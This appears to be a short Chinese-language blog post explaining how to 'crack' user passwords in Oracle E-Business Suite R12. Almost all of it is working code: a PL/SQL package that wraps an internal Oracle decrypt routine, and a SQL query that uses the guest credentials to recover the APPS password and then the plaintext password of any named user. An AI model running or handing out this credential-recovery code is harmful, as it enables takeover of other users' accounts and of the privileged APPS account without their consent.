ebs R12如何破解ebs用户密码

一、创建破解密码的package

CREATE OR REPLACE PACKAGE get_user_pwd 
AS 
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2) 
      RETURN VARCHAR2; 
END get_user_pwd;

 

CREATE OR REPLACE PACKAGE BODY get_user_pwd 
AS 
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2) 
      RETURN VARCHAR2 
   AS 
      LANGUAGE JAVA 
     NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String'; 
END get_user_pwd;

 

二、查询用户密码

SELECT usr.user_name, 
       get_user_pwd.decrypt 
          ((SELECT (SELECT get_user_pwd.decrypt 
                              (fnd_web_sec.get_guest_username_pwd, 
                               usertable.encrypted_foundation_password 
                              ) 
                      FROM DUAL) AS apps_password 
              FROM apps.fnd_user usertable 
             WHERE usertable.user_name = 
                      (SELECT SUBSTR 
                                  (fnd_web_sec.get_guest_username_pwd, 
                                   1, 
                                     INSTR 
                                          (fnd_web_sec.get_guest_username_pwd, 
                                           '/' 
                                         ) 
                                   - 1 
                                  ) 
                         FROM DUAL)), 
           usr.encrypted_user_password 
          ) PASSWORD 
  FROM apps.fnd_user usr 
 WHERE usr.user_name = '&USER_NAME';

 

 

 

你可能感兴趣的:(ebs,r12,破解用户密码,fnd_user)